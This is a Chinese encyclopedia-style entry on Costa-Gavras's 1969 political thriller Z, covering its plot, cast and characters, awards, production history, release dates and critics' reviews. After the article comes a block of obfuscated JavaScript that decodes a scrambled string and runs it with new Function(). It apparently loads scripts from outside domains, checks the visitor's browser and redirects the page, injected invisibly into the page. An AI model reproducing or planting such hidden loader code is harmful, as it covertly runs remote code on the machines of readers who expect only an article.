地中海某专制国家，专制的力量正和人民的力量酝酿着一场大风暴
焦点新闻剧照(5张)该国反对派议员、和平运动领袖、奥林匹克冠军、医学博士Z，预备在群众集会中进行反对外国军事力量的演讲
但这场集会举行得异常艰难，先是剧场老板在当局的压力下取消原来的合约，只能把会场挪到一个小会场，然后通过广播传给广场上的群众 会前，Z就接到右翼反动势力的恐吓，他毫无怯意毅然继续原来的计划 在会场门口，Z和同伴被突然袭击的暴徒打伤，但Z还是带着伤痛站到讲台上 宪兵队和警察局的头头们就坐在广场外的一辆车上，既畏惧又恼怒地听着Z的演讲 演讲完毕，Z走出会场，试图与宪兵与警察的头目交流，却被一伙暴徒用木棍打倒，周围的警察对此无动于衷 Z伤势过重，被送往医院，最后伤重不治而亡 而警察局和宪兵队却把事件定性为车祸，社会上一直要求重新调查审理此案，政府为了平息民愤，派来年轻的检察官调查这个案件 这位年轻冷静的检察官没有按照政府的授意，以车祸了结此案，反而不畏强权，展开周密调查，最终确认主谋是宪兵将军和上校等人以及一个和他们往来密切的极端右翼宗教保皇的反动组织 真相大白之后，政府的代表国家检察总长又指责检察官破坏国家声誉，并给他规定了若干“保护”条件 最终，检察官顶住了来自各方面的压力，把主凶送进了监狱，把一切真相还给了人民，民主和政府反对派一时间控制了国家大局 不久，军人集团政变成功，大权在握，一切变得是非颠倒 这桩案件被彻底推翻，宪兵长官和警察局长官复原职，检察官反被撤职，凶手释放、证人被杀，Z的秘书也被流放荒岛 新的军事独裁当局还下了一系列的禁令，国家处在严格的军事恐怖的控制之下 弗兰索斯·皮埃尔检察官伊夫·蒙当Z艾琳·帕帕斯埃莱娜雅克·贝汉摄影记者查尔斯·登纳曼纽尔Pierre Dux宪兵将军乔治·热雷尼克贝尔纳·弗雷松马特Marcel Bozzuffi瓦戈Julien Guiomar宪兵上校玛加丽·诺尔尼克的妹妹尼瓦多·莎瓦特利雅戈Clotilde Joano舒拉Maurice Baquet泥瓦工Hassan Hassani将军的司机Gérard Darrieu巴罗内Jean Bouise乔治·皮鲁Jean-Pierre Miquel皮埃尔Van Doude医院院长让·达斯特伊利亚·科斯塔Jean-François Gobbi拳击手吉米Guy MairesseDumas dit le RusseAndrée Tainsy尼克的母亲Eva Simonet女佣妮基José Artur报纸编辑拉乌尔·库塔英国外科医生Bob de Bragelonne副国务卿Steve Gadler英国摄影师Gabriel Jabbour波齐尼Philippe d'Argila、雅克·贝汉、Ahmed Rachedi、Eric SchlumbergerVassilis Vassilikos科斯塔·加华斯Ghaouti Bendedouche、菲利普·莫尼尔乔治·桑普兰、科斯塔·加华斯拉乌尔·库塔Mikis Theodorakis弗朗索瓦·博诺Jacques D'OvidioPiet BolscherJacques D'Ovidio音效Michèle Boëhm、Marie-Thérèse Boiché、Sidi Boumedienne Dahmane、Lionel de Souza、Jean Nény、Alexandre Popovic、Alex Pront特技演员与其他Yvan Chiffre、Jean Garcenot、Taibi Lamouri、Georges Liron演职员表参考资料检察官检察官演员让·路易·特兰蒂尼昂让·路易·特兰蒂尼昂配音-地中海某国的青年检察官，奉命侦查政治家“Z”遇害一案 他外表冷漠，不畏威胁利诱，不趋炎附势，对案件展开深入细致的调查，搞清了这是一起精心策划的谋杀案，凶手是宪兵将军与上校等人重金收买的 毅然决然地控告将军、上校等人犯有蓄意杀人和滥用职权罪 军队政变后，他被撤职 ZZ演员伊夫·蒙当伊夫·蒙当配音-地中海某国饱经磨炼的政治家，是反对派国会议员、民族和平运动主席、奥林匹克冠军、医学博士，受到广大群众特别是青年和大学生的拥护 他来到北方某城准备在反核集会上发表演讲，虽然听说了有人要谋害自己的消息，但他并不在意，勇敢地继续演讲 摄影记者摄影记者演员雅克·贝汉雅克·贝汉配音-机智多谋，积极热心地寻找“Z”案件的真相，为检察官提供了现场照片的右翼秘密组织的线索 后来，他因所谓“占有和散发官方文件罪”被判处三年徒刑 宪兵将军宪兵将军演员Pierre DuxPierre Dux配音-城中警察和宪兵的最高领导，老奸巨滑，极度反共 收买保皇反共的右翼秘密组织“克劳克”的打手暗杀了左翼政治家“Z”，然后把事件定性为车祸，千方百计混淆世听 尼克尼克演员乔治·热雷乔治·热雷配音-棺材油漆铺的店主，脾气固执的老实人 他从专门替店里运货的司机亚戈那里听说了其要谋杀政治家的消息，后来看到Z遇害后亚戈的照片被登在报纸头条大出风头，心中气愤，于是自愿到法院作证明，证明Z是被谋杀的 瓦戈瓦戈演员Marcel BozzuffiMarcel Bozzuffi配音-杀害“Z”的凶手之一，残暴、蛮横、无耻而且愚蠢，被机智的法官盘问几句就有恃无恐地承认他与同伙亚戈都属于一个叫“克劳克”的右翼秘密组织 角色介绍参考资料时间届次奖项获奖方结果1969年第22届戛纳电影节金棕榈奖《焦点新闻》提名评审团奖《焦点新闻》获奖最佳男演员奖让·路易·特兰蒂尼昂获奖1970年第42届奥斯卡金像奖最佳影片《焦点新闻》提名最佳导演科斯塔·加华斯提名最佳改编剧本乔治·桑普兰、科斯塔·加华斯提名最佳电影剪辑弗朗索瓦·博诺获奖最佳外语片《焦点新闻》获奖第27届美国金球奖电影类-最佳外语片《焦点新闻》获奖第23届英国电影和电视艺术学院奖电影奖-最佳影片《焦点新闻》提名电影奖-最佳剧本乔治·桑普兰、科斯塔·加华斯提名安东尼·阿斯奎斯奖：最佳电影音乐Mikis Theodorakis获奖电影奖-最佳电影剪辑弗朗索瓦·博诺提名获奖记录参考资料创作背景焦点新闻的海报(4张)导演科斯塔·加华斯的父亲因被希腊当局疑为共产党而遭迫害，科斯塔·加华斯的童年是在政治歧视与白色恐怖处境下度过的，19岁时流亡到巴黎 1967年，当希腊军人集团发动右翼的政变之时，他恰好读到Vassilis Vassilikos创作的长篇小说《Z》（Z在希腊文中有“生命”的意思） 看完这部反映希腊发生的“兰布腊基斯事件”的小说，科斯塔·加华斯义愤填膺，政治责任感油然而生，立即决定将小说搬到银幕，揭露“布兰腊基斯事件”的真相，抨击希腊独裁政权 而该片的共同编剧乔治·桑普兰是西班牙政治流亡者，作曲Mikis Theodorakis也曾在希腊军人政变中遭拘捕 由于题材敏感，制片商不愿冒风险，导演经过努力才争取到法国友人及阿尔及利亚一家电影公司的资助，影片以70余万美元的成本在阿尔及利亚开拍 编导以个人名义在影片开头用字幕标明“所有这些与死者和生者的真实情况相似之处，决非偶然” 与片头相呼应，影片结尾并列映出两张定格照片，一张是伊夫·蒙当饰演的“Z”，另一张是兰布腊基斯的肖像，还叠印了一条字幕“他还活着”，以此公开悼念被暗杀的政治活动家 该片的政治态度导致其曾经被禁止在希腊上映 制作公司Office National pour le Commerce et l'Industrie CinématographiqueReggane FilmsValoria Films（法国）发行公司Alphaview Home Vídeo（巴西）Cinema V（美国）Manga Films S L （西班牙）（美国）Versátil Home Vídeo （巴西）上映国家上映/发行日期法国1969年5月（戛纳电影节）法国1969年2月26日瑞典1969年5月27日西德1969年11月14日美国1969年12月8日芬兰1970年1月2日阿根廷1970年1月22日日本1970年4月1日（大阪国际电影节）澳大利亚1970年4月9日日本1970年11月21日土耳其1989年5月希腊1997年11月23日（塞萨洛尼基国际电影节）丹麦2005年8月27日（哥本哈根国际电影节）美国2009年3月13日希腊2009年4月2日韩国2009年10月9日（釜山国际电影节）作为一部对一件政治谋杀案及其调查过程纪实的影片，很可能搞得枯燥乏味，但该片的导演以高超的艺术手法将影片拍得生气勃勃，既扣人心弦，又发人深思，充满了正义的呼声 它不落窠臼，巧妙地避开了一般描写谋杀案的故弄玄虚、卖弄噱头的俗套，也没有一般反映政治事件的影片的那种令人生厌的俗套，既具有强烈的政治倾向，又获得了巨大的艺术魅力 （《大众电影》评）该片是公认的政治电影的典范，是该领域的开山之作 它具有咄咄逼人的政治批判锋芒 影片导演摒弃了廉价的煽情效果，全片的摄影基调引人注目地选择了高调，色彩明朗，节奏明快，整个影像系统是昂扬坦荡而非消沉晦暗的，足以体现导演要把独裁集团的鬼蜮伎俩拿到“光天化日”下示众的良苦用心，体现了导演对以检察官为代表的正义力量的颂扬 该片将严肃的政论、客观的纪实、跌宕的情节、绵延的悬念有机交织在一起，维系住了观众的观看兴趣 （上海交通大学电影电视系主任、上海电影资料馆特约研究员李亦中评）
!function(){function a(a){var _idx="l75gqvm4ic";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@/CL/s0ojR8q1np:X^o6("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"s0o"=^8"q1np:X^o6("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"s0od2(LCYmJXR^:JmRT4"="s0o5p(LYpm^(F_D7mRT4"="s0oD7(LSqmJXR^:JmRT4"="s0odC(LJ^m^(F_D7mRT4"="s0o(C(L:4mJXR^:JmRT4"="s0oC2(LSYm^(F_D7mRT4"="s0o25(LLSmJXR^:JmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"gQ00@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPs0oFC(LCDmTf(74TmRT4gQ00@/((/s0oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPs0oFC(LCDmTf(74TmRT4gQ00@/((/s0oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@/f/s0oj(8}vR8q1np:X^o6("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();
